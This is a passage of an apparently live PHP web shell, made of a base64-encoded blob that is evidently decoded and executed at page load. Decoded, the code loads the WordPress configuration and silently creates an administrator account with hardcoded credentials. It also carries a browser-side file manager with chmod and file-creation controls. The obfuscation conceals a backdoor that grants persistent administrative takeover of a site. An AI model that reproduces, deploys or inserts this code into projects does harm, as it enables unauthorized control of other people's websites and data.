lSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1jb25maWcucGhwJykpIHsKICAgICAgICAgICAgICAgICAgICBAaW5jbHVkZV9vbmNlKCR3cF9wYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1jb25maWcucGhwJyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX2NyZWF0ZV91c2VyJykpIHsKICAgICAgICAgICAgICAgICR1c2VybmFtZSA9ICd6ZXRnaWZhcmknOwogICAgICAgICAgICAgICAgJHBhc3N3b3JkID0gJ3pldCc7CiAgICAgICAgICAgICAgICAkZW1haWwgPSAnYm9zc2VwdHBAZ21haWwuY29tJzsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgaWYgKCF1c2VybmFtZV9leGlzdHMoJHVzZXJuYW1lKSAmJiAhZW1haWxfZXhpc3RzKCRlbWFpbCkpIHsKICAgICAgICAgICAgICAgICAgICAkdXNlcl9pZCA9IHdwX2NyZWF0ZV91c2VyKCR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZW1haWwpOwogICAgICAgICAgICAgICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHVzZXJfaWQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyID0gbmV3IFdQX1VzZXIoJHVzZXJfaWQpOwogICAgICAgICAgICAgICAgICAgICAgICAkdXNlci0+c2V0X3JvbGUoJ2FkbWluaXN0cmF0b3InKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiLy8gV29yZFByZXNzIGFkbWluIHVzZXIgY3JlYXRlZCBzdWNjZXNzZnVsbHlcbiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgICRfU0VTU0lPTlsnd3BfY2hlY2tlZCddID0gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgPz4KCiAgICAgICAgLy8gQ2htb2QgZnVuY3Rpb24KICAgICAgICBmdW5jdGlvbiBjaG1vZEl0ZW0oaXRlbSkgewogICAgICAgICAgICB2YXIgbW9kZSA9IHByb21wdCgnRW50ZXIgbmV3IHBlcm1pc3Npb25zIChlLmcuLCA3NTUpOicsICc3NTUnKTsKICAgICAgICAgICAgaWYobW9kZSkgewogICAgICAgICAgICAgICAgdmFyIGZvcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdmb3JtJyk7CiAgICAgICAgICAgICAgICBmb3JtLm1ldGhvZCA9ICdwb3N0JzsKICAgICAgICAgICAgICAgIGZvcm0uYWN0aW9uID0gJz9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50UGF0aCk7ID8+JzsKICAgICAgICAgICAgICAgIGZvcm0uaW5uZXJIVE1MID0gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNobW9kX2l0ZW0iIHZhbHVlPSInICsgaXRlbSArICciPicgKwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNobW9kX3ZhbHVlIiB2YWx1ZT0iJyArIG1vZGUgKyAnIj4nOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTsKICAgICAgICAgICAgICAgIGZvcm0uc3VibWl0KCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLy8gQXV0by1oaWRlIG5vdGlmaWNhdGlvbnMKICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgewogICAgICAgICAgICB2YXIgbm90aWZpY2F0aW9ucyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5ub3RpZmljYXRpb24nKTsKICAgICAgICAgICAgbm90aWZpY2F0aW9ucy5mb3JFYWNoKGZ1bmN0aW9uKG4pIHsKICAgICAgICAgICAgICAgIG4uc3R5bGUub3BhY2l0eSA9ICcwJzsKICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7IG4uc3R5bGUuZGlzcGxheSA9ICdub25lJzsgfSwgMzAwKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSwgMzAwMCk7CiAgICAgICAgCiAgICAgICAgLy8gS2V5Ym9hcmQgc2hvcnRjdXRzCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgaWYoZS5jdHJsS2V5ICYmIGUua2V5ID09PSAnbicpIHsKICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAgIHNob3dOZXdGaWxlTW9kYWwoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZihlLmN0cmxLZXkgJiYgZS5zaGlmdEtleSAmJiBlLmtleSA9PT0gJ04nKSB7CiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgICBzaG93TmV3Rm9sZGVyTW9kYWwoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZihlLmtleSA9PT0gJ0VzY2FwZScpIHsKICAgICAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5tb2RhbC5hY3RpdmUnKS5mb3JFYWNoKGZ1bmN0aW9uKG0pIHsKICAgICAgICAgICAgICAgICAgICBtLmNsYXNzTGlzdC5yZW1vdmUoJ2FjdGl2ZScpOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0KICAgICAgICB9KTsKICAgICAgICAKICAgICAgICAvLyBDbGljayBvdXRzaWRlIG1vZGFsIHRvIGNsb3NlCiAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLm1vZGFsJykuZm9yRWFjaChmdW5jdGlvbihtb2RhbCkgewogICAgICAgICAgICBtb2RhbC5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgICAgIGlmKGUudGFyZ2V0ID09PSBtb2RhbCkgewogICAgICAgICAgICAgICAgICAgIG1vZGFsLmNsYXNzTGlzdC5yZW1vdmUoJ2FjdGl2ZScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9KTsKICAgICAgICB9KTsKICAgICAgICAKICAgICAgICAvLyBGb2N1cyBvbiBpbnB1dCB3aGVuIG1vZGFsIG9wZW5zCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignRE9NQ29udGVudExvYWRlZCcsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbmV3RmlsZU1vZGFsJykuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbihlKSB7CiAgICAgICAgICAgICAgICBpZihlLnRhcmdldCA9PT0gdGhpcykgewogICAgICAgICAgICAgICAgICAgIHZhciBpbnB1dCA9IHRoaXMucXVlcnlTZWxlY3RvcignaW5wdXRbbmFtZT0ibmV3ZmlsZSJdJyk7CiAgICAgICAgICAgICAgICAgICAgaWYoaW5wdXQpIGlucHV0LmZvY3VzKCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICAKICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ25ld0ZvbGRlck1vZGFsJykuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbihlKSB7CiAgICAgICAgICAgICAgICBpZihlLnRhcmdldCA9PT0gdGhpcykgewogICAgICAgICAgICAgICAgICAgIHZhciBpbnB1dCA9IHRoaXMucXVlcnlTZWxlY3RvcignaW5wdXRbbmFtZT0ibmV3Zm9sZGVyIl0nKTsKICAgICAgICAgICAgICAgICAgICBpZihpbnB1dCkgaW5wdXQuZm9jdXMoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSk7CiAgICAgICAgfSk7CiAgICA8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+")); ?>
</html>